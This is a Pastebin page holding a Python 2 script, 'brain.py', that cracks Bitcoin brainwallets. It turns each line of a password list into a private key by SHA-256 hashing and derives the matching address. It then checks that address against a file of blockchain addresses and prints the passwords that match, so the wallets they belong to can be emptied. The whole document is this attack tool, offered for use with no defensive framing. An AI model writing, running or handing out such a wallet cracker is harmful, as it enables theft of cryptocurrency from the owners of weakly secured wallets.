Advertisement
skip420

brain.py

Oct 24th, 2018
682
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.56 KB | None | 0 0
  1. import ecdsa
  2. import binascii
  3. import hashlib
  4.  
  5. BlockChain     = []
  6. BlockchainFile = 'TXaddress.txt'
  7. PasswordList   = 'passwords.txt'
  8. secp256k1curve=ecdsa.ellipticcurve.CurveFp(115792089237316195423570985008687907853269984665640564039457584007908834671663,0,7)
  9. secp256k1point=ecdsa.ellipticcurve.Point(secp256k1curve,0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798,0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8,0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141)
  10. secp256k1=ecdsa.curves.Curve('secp256k1',secp256k1curve,secp256k1point,(1,3,132,0,10))
  11.  
  12. def addy(pk):
  13.  pko=ecdsa.SigningKey.from_secret_exponent(pk,secp256k1)
  14.  pubkey=binascii.hexlify(pko.get_verifying_key().to_string())
  15.  pubkey2=hashlib.sha256(binascii.unhexlify('04'+pubkey)).hexdigest()
  16.  pubkey3=hashlib.new('ripemd160',binascii.unhexlify(pubkey2)).hexdigest()
  17.  pubkey4=hashlib.sha256(binascii.unhexlify('00'+pubkey3)).hexdigest()
  18.  pubkey5=hashlib.sha256(binascii.unhexlify(pubkey4)).hexdigest()
  19.  pubkey6=pubkey3+pubkey5[:8]
  20.  pubnum=int(pubkey6,16)
  21.  pubnumlist=[]
  22.  while pubnum!=0: pubnumlist.append(pubnum%58); pubnum/=58
  23.  address=''
  24.  for l in ['123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'[x] for x in pubnumlist]:
  25.   address=l+address
  26.  return '1'+address
  27.  
  28.  
  29. def Crack(word):
  30.     privatekey = (int(hashlib.sha256(word).hexdigest(),16))
  31.     privatekeysha = (hashlib.sha256(word)).hexdigest()
  32.     bcaddy = addy(privatekey)
  33.  
  34.  
  35.    
  36.     return bcaddy
  37.  
  38. def LoadTXaddresses(BlockchainFile):
  39.     # Load 4 bytes of each wallet address from the blockchain into RAM
  40.     BlockChain = [line.rstrip('\n') for line in open(BlockchainFile)]
  41.     return BlockChain
  42.  
  43. def Check(WalletAddress):
  44.     CompressedAddress = WalletAddress[1] + WalletAddress[4] + WalletAddress[10] + WalletAddress[20] + WalletAddress[len(WalletAddress) -1]
  45.  
  46.     for x in range (len(BlockChain) -1):
  47.         if(BlockChain[x] == CompressedAddress):
  48.           return True
  49.  
  50. def CompressBlockchain(blockchainFile):
  51.     # Read all the TX or RX addresses from a flat text file line by line
  52.     # Store only 4-5 bytes
  53.     with open(blockchainFile) as f:
  54.          for line in f:
  55.              print line[1] + line[4] + line[10] + line[20] + line[len(line) -2]
  56.  
  57. #CompressBlockchain('SampleTX-List.txt')
  58.  
  59. BlockChain = LoadTXaddresses(BlockchainFile)
  60.  
  61.  
  62. def Scan(PasswordList):
  63.     with open(PasswordList) as f:
  64.          for line in f:
  65.              thisAddress = Crack(line.strip())
  66.              if(Check(thisAddress) == True):
  67.                print line
  68.  
  69. Scan(PasswordList)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement